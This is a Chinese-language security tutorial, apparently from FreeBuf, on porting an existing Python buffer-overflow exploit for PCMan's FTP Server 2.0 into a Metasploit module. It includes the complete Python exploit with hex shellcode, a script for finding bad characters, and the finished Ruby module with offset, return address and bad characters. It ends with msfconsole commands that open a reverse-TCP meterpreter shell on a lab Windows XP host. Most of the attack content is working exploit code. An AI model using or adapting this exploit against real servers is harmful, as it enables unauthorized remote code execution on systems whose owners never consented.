*嚴正聲明:本文僅限於技術討論與分享,嚴禁用於非法途徑。
前言如果針對某一程序或軟體已經有了相應的滲透模塊,此時再去寫一個實現類似功能的模塊就顯得多此一舉。然而,並非所有的滲透模塊都是基於Metasploit框架開發的,其中有很多是用Perl、Python或者C/C++語言編寫的,所以導致了這些模塊不能直接在Metasploit中使用。此時需要將現有的滲透模塊移植成為與Metasploit框架相兼容的模塊,移植成功之後,不僅能夠實現原有模塊的功能,還可以利用Metasploit框架提供的各種豐富而又強大的工具來處理例行任務,同時可以動態切換攻擊載荷,使滲透模塊適用於更多的場景。
實驗環境1.滲透主機:Kali-Linux-2019.1-vm-amd642.目標主機:Windows XP SP3 Simplified Chinese3.軟體版本:PCMan’s FTP Server 2.0涉及工具1\. python-2.7.152\. ImmunityDebugger1.85滲透模塊的分析本文以PCMan’s FTP Server軟體為例,詳細描述滲透模塊的移植和測試過程。這款軟體是由我國臺灣省的國立陽明大學開發的,也是我個人比較喜歡的一款小巧、輕便、易用的FTP軟體,可在五分鐘之內迅速搭建一臺FTP伺服器。存在現成的滲透模塊針對PCMan’s FTP Server的緩衝區溢出漏洞。
1.滲透模塊的詳細代碼如下:
import socket
print "Creating malicious input!"
junk = '\x41'*2007ret="\xf7\x56\x3c\x7e" nops = '\x90'*20
sc=("\xdb\xd6\xba\xd3\x95\x1b\xd0\xd9\x74\x24\xf4\x58\x2b\xc9\xb1""\x53\x31\x50\x17\x83\xe8\xfc\x03\x83\x86\xf9\x25\xdf\x41\x7f""\xc5\x1f\x92\xe0\x4f\xfa\xa3\x20\x2b\x8f\x94\x90\x3f\xdd\x18""\x5a\x6d\xf5\xab\x2e\xba\xfa\x1c\x84\x9c\x35\x9c\xb5\xdd\x54""\x1e\xc4\x31\xb6\x1f\x07\x44\xb7\x58\x7a\xa5\xe5\x31\xf0\x18""\x19\x35\x4c\xa1\x92\x05\x40\xa1\x47\xdd\x63\x80\xd6\x55\x3a""\x02\xd9\xba\x36\x0b\xc1\xdf\x73\xc5\x7a\x2b\x0f\xd4\xaa\x65""\xf0\x7b\x93\x49\x03\x85\xd4\x6e\xfc\xf0\x2c\x8d\x81\x02\xeb""\xef\x5d\x86\xef\x48\x15\x30\xcb\x69\xfa\xa7\x98\x66\xb7\xac""\xc6\x6a\x46\x60\x7d\x96\xc3\x87\x51\x1e\x97\xa3\x75\x7a\x43""\xcd\x2c\x26\x22\xf2\x2e\x89\x9b\x56\x25\x24\xcf\xea\x64\x21""\x3c\xc7\x96\xb1\x2a\x50\xe5\x83\xf5\xca\x61\xa8\x7e\xd5\x76""\xcf\x54\xa1\xe8\x2e\x57\xd2\x21\xf5\x03\x82\x59\xdc\x2b\x49""\x99\xe1\xf9\xe4\x91\x44\x52\x1b\x5c\x36\x02\x9b\xce\xdf\x48""\x14\x31\xff\x72\xfe\x5a\x68\x8f\x01\x60\x11\x06\xe7\x02\xf1""\x4e\xbf\xba\x33\xb5\x08\x5d\x4b\x9f\x20\xc9\x04\xc9\xf7\xf6""\x94\xdf\x5f\x60\x1f\x0c\x64\x91\x20\x19\xcc\xc6\xb7\xd7\x9d""\xa5\x26\xe7\xb7\x5d\xca\x7a\x5c\x9d\x85\x66\xcb\xca\xc2\x59""\x02\x9e\xfe\xc0\xbc\xbc\x02\x94\x87\x04\xd9\x65\x09\x85\xac""\xd2\x2d\x95\x68\xda\x69\xc1\x24\x8d\x27\xbf\x82\x67\x86\x69""\x5d\xdb\x40\xfd\x18\x17\x53\x7b\x25\x72\x25\x63\x94\x2b\x70""\x9c\x19\xbc\x74\xe5\x47\x5c\x7a\x3c\xcc\x6c\x31\x1c\x65\xe5""\x9c\xf5\x37\x68\x1f\x20\x7b\x95\x9c\xc0\x04\x62\xbc\xa1\x01""\x2e\x7a\x5a\x78\x3f\xef\x5c\x2f\x40\x3a")
buffer= junk + ret + nops + sc
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)ip = raw_input('Give me Remote IP Address:')connect=s.connect((ip,21))banner = s.recv(1024)print banners.send('USER anonymous\r\n')s.recv(1024)s.send('PASS\r\n')s.recv(1024)s.send('PORT' + buffer + '\r\n')s.close()2.關鍵信息收集
3.確定偏移量Offset的方法和步驟,若不清楚,可以參照《關於CVE-2019-9766緩衝區溢出漏洞的滲透模塊編寫與測試》一文,這裡不再詳述。
4.現有模塊的JMP ESP指令使用User32.dll對應的地址7E3C56F7,但該模塊是基於Windows XP Profesional SP3 Spanish x86編寫的,在這裡西班牙語的XP顯然是不適用的。於是在ImmunityDebugger中使用命令!mona jmp -r esp查詢合適的跳轉指令,mona查詢的結果保存在文件jmp.txt中,這裡我們選擇
C:\WINDOWS\system32\USER32.dll其對應的地址為0x77d29353,查詢結果如下圖所示:
5.關於shellcode中的壞字符,可以在ImmunityDebugger中使用mona插件輔助確定。這裡我們使用一種原理性的方法來找出壞字符,雖然過程有點繁瑣,但是準確性較高。測試代碼如下所示(其中變量shellcode賦值為所有可能出現的字符):
import socket
junk = '\x41'*2007ret='\x42'*4 nops = '\x90'*20
shellcode = ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer= junk + ret + nops + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)ip = raw_input('Input FTP Server IP Address:')connect = s.connect((ip,21))s.recv(1024)s.send('USER anonymous\r\n')s.recv(1024)s.send('PASS\r\n')s.recv(1024)s.send('PORT' + buffer + '\r\n')s.close()5.1 在Kali Linux中運行上述代碼,輸入PCMan’s FTP Server的IP位址,將所有可能的字符發送給PCMan’s FTP,然後ImmunityDebugger中的顯示如下(內容太多,此處節選一部分):
0012C7D4 41414141 AAAA0012C7D8 42424242 BBBB0012C7DC 90909090 悙悙0012C7E0 90909090 悙悙0012C7E4 90909090 悙悙0012C7E8 90909090 悙悙0012C7EC 90909090 悙悙0012C7F0 00000A0D ....0012C7F4 0000000A ....0012C7F8 00000000 ....0012C7FC 00000000 ....0012C800 00000000 ....0012C804 00000000 ....0012C808 00000000 ....0012C80C 00000000 ....0012C810 00000000 ....0012C814 00000066 f...0012C818 77EF6BF2 騥飛 GDI32.77EF6BF2在上述結果中並沒有看到shellcode的內容,20個空指令』\x90』之後的\x0D\x0A代表的是 『\r\n』(「<回車><換行>」),並不是shellcode中的部分字符,因此可以判定』\x00』為壞字符。
5.2 將shellcode中的』\x00』去掉,重複5.1中的操作,然後ImmunityDebugger中的顯示如下:
0012C7D4 41414141 AAAA0012C7D8 42424242 BBBB0012C7DC 90909090 悙悙0012C7E0 90909090 悙悙0012C7E4 90909090 悙悙0012C7E8 90909090 悙悙0012C7EC 90909090 悙悙0012C7F0 04030201 0012C7F4 08070605 0012C7F8 000A0D09 ....0012C7FC 00000000 ....0012C800 00000000 ....0012C804 00000000 ....0012C808 00000002 ...0012C80C 00000000 ....0012C810 00000000 ....0012C814 000000AC ?..0012C818 77EF6BF2 騥飛 GDI32.77EF6BF22.4從上述結果可以看到shellcode在』\x09』之後的內容全部丟失,因此可以判定』\x0a』為壞字符。重複步驟5.1和5.2,最終確定全部壞字符為』\x00\x0a\x0d』。
滲透模塊的移植分析完成現有的滲透模塊之後,下面我們進行滲透模塊的移植。
1. 移植後的滲透模塊pcman_port.rb的第一部分如下:
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {}) super(update_info(info, 'Name' => "PCMan's FTP Server PORT Command Stack Buffer Overflow", 'Description' => "This module exploits a buffer overflow vulnerability found in the PORT command of the PCMan's FTP Server v2.0", 'Author' => 'Neroqi', 'License' => MSF_LICENSE, 'References' => [ ['EDB', '40714'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'VERBOSE' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Profesional SP3 Simplified Chinese', { 'Ret' => 0x77d29353, 'Offset' => 2007 } ], ], 'DisclosureDate' => 'May 14 2019', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(21), OptString.new('FTPUSER',[ true, 'FTP User', 'anonymous']), OptString.new('FTPPASS',[ true, 'FTP Password', 'anonymous']) ], self.class) end1.1 語句require 『msf/core』引入了Metasploit中core庫的所有內容;語句include Msf::Exploit::Remote::Ftp引入了ftp. rb庫文件,用於後續的FTP相關操作。
1.2 方法initialize定義了模塊的相關信息及參數,包括Name、Description、Author以及DefaultOptions等等,其中壞字符在Payload中設置,Offset和JMP ESP指令在Targets中設置。
1.3 register_options使用Opt::RPORT函數定義了目標埠,使用OptString.new函數為FTP的登錄提供了用戶名和密碼。
2. 移植後的滲透模塊pcman_port.rb的第二部分如下:
def exploit c = connect_login return unless c sploit = rand_text_alpha(target['Offset']) sploit << [target.ret].pack('V') sploit << make_nops(20) sploit << payload.encoded send_cmd( ["PORT" + sploit, false] ) disconnect end2.1 rand_text_alpha()函數用於生成2007個(該值是由Targets中的變量Offset決定的)填充數據,用於替代原滲透模塊中的』\x41』*2007,然後將填充數據保存到變量sploit中。
2.2 [target.ret].pack(『V』)函數將Targets中Ret的值(JMP ESP的指令)以小端格式保存到sploit變量中,無需像原滲透模塊那樣使用大端格式保存。
2.3 make_nops(20)函數用於產生20個空指令。
2.4 payload.encoded函數用於對指定的攻擊載荷進行編碼。
2.5 然後使用ftp庫中的send_cmd()函數將包含了變量sploit的PORT命令發送到目標。
3. 移植後的滲透模塊pcman_port.rb具有的優勢:
3.1 rand_text_alpha()函數實現自動生成填充數據,無須手動生成。
3.2 JMP ESP的指令無須進行大小端格式轉換,該工作由函數[target.ret].pack(『V』)實現。
3.3 make_nops()函數自動生成空指令,無須手動生成。
3.4 shellcode可動態切換,無須提供任何預先硬編碼的shellcode,在需要改變shellcode時,就無須手動重新編碼,從而節約了大量時間。
滲透模塊的測試1. 將移植後的滲透模塊pcman_port.rb拷貝到如下路徑:
/usr/share/metasploit-framework/modules/exploits/windows/ftp
然後在msfconsole中通過命令reload_all來重新載入所有的模塊,確保模塊編寫無誤。
2. 在Metasploit中使用如下命令測試滲透模塊pcman_port.rb是否正常工作,命令如下:
msf5 > use exploit/windows/ftp/pcman_portmsf5 exploit(windows/ftp/pcman_port) > set RHOSTS 192.168.188.137RHOSTS => 192.168.188.137msf5 exploit(windows/ftp/pcman_port) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 exploit(windows/ftp/pcman_port) > set LHOST 192.168.188.136LHOST => 192.168.188.136msf5 exploit(windows/ftp/pcman_port) > set LPORT 8888LPORT => 8888msf5 exploit(windows/ftp/pcman_port) > exploit如下圖所示,可以看到成功取得了與目標主機的meterpreter會話,說明模塊移植成功:
結束語以上這些,就是關於如何將滲透模塊移植到Metasploit框架中並且進行測試的過程。由於Metasploit的強大功能以及豐富的工具庫,因此建議大家在遇到較新較好的滲透模塊時,及時地將其移植到Metasploit框架中,以備後用。
*本文作者:Neroqi,轉載請註明來自FreeBuf.COM